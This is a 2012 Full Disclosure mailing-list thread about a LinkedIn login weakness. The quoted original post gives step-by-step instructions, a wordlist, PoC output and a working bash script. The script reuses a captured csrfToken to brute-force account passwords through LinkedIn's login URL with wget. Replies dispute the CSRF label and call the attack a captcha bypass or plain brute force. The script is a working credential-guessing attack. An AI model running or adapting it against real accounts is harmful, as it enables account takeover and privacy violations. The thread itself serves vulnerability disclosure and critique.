Full Disclosure: Re: LinkedIn CSRF: Login Brute Force

[Mario Vilas <mvilas () gmail com>]

It's a capcha bypass, not a CSRF as claimed. I'm also not quite sure
if the capcha has really been bypassed at all as the blog post in
spanish says you have to enter it manually from time to time...

"Si linkedin nos pone problemas con el captcha, lo que debemos hacer
es ingresar via web con una cuenta valida, capturar nuevamente el
Token e intentarlo nuevamente con ese token."

This line is quite funny: "Nota: LinkedIn fue notificado hace 2
semanas sobre esta vulnerabilidad, pero no respondieron." (LinkedIn
has been notified two weeks ago, but they never responded). The
comments are pretty clueless too.

On Thu, May 17, 2012 at 7:50 PM, Julius Kivimäki
<julius.kivimaki () gmail com> wrote:
> Where's the csrf? All I see here is an useless bruteforce attack.
>
> 2012/5/17 Fernando A. Lagos B. <fernando () zerial org>
> > LinkedIn uses a Token into the login form which can be used many times
> > for different usernames. You can do it using the same IP or differents
> > IP, the token will not be verified.
> >
> >
> >
> > I. Step by step
> > ===============
> > 1). Login into your LinkedIn account and capture the "sourceAlias" and
> > "csrfToken" variable (example:
> >
> > sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)
> >
> > 2). Use the Token to login into another account:
> >
> > https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain 
> > com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless
> >
> > session_key is the username and session_password is the password.
> >
> > 3). The password (session_password) is not correct If the requested URL
> > returns "The email address or password you provided does not match our
> > records", else the password if correct.
> >
> >
> >
> > II. PoC
> > =======
> >
> > 1). The Wordlist (filename: w)
> > [zerial () belcebu ~]$ cat w
> > asdfgh
> > zxcvbnm
> > 1234567
> > 0987654
> > 12345698
> > 456_4567
> > 123456qwert
> > qwsdcv
> > 12wedfgh
> > 123456qwerty
> > 12345qwei
> > 112233
> > [zerial () belcebu ~]$
> >
> >
> > 2). Executing the script:
> > [zerial () belcebu ~]$ sh linkedin.sh panic () zerial org w
> > Password found: qwsdcv
> > [zerial () belcebu ~]$
> >
> > This is the correct password for this test user.
> >
> >
> >
> >
> > III. Script
> > ===========
> >
> > #!/bin/bash
> > #
> > # usage: ./linkedin.sh username () domain com wordlist
> > #
> >
> > TOKEN="ajax%3A6265303044444817496"
> > sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"
> >
> > if [ ! -f $2 ];
> > then
> >        echo "file $2 does not exists"
> >        exit
> > fi
> >
> > _USR=$1
> > for _PWD in $(cat $2);
> > do
> >        if [ $(echo -n $_PWD|wc -c) -lt 6 ];
> >        then
> >                echo "Ignoring $_PWD (must be grather than 6 chars)";
> > continue
> >        fi
> >        wget -o /dev/null -O -
> >
> > "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless";|grep
> > 'The email address or password you provided does not match our
> > records\|captcha' >>/dev/null
> >        if [ $? -eq 1 ];
> >        then
> >                echo "Password found: $_PWD"; exit;
> >        fi
> > done
> >
> > echo "Password NOT found. Try later."
> > #EOF
> >
> >
> >
> >
> >
> > More info (in spanish):
> >
> > http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/
> >
> >
> >
> >
> > cheers,
> > --
> > Fernando A. Lagos Berardi
> > Seguridad Informatica
> > GNU/Linux User #382319
> > Blog: http://blog.zerial.org
> > Jabber: zerial () jabberes org
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
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>
>
> _______________________________________________
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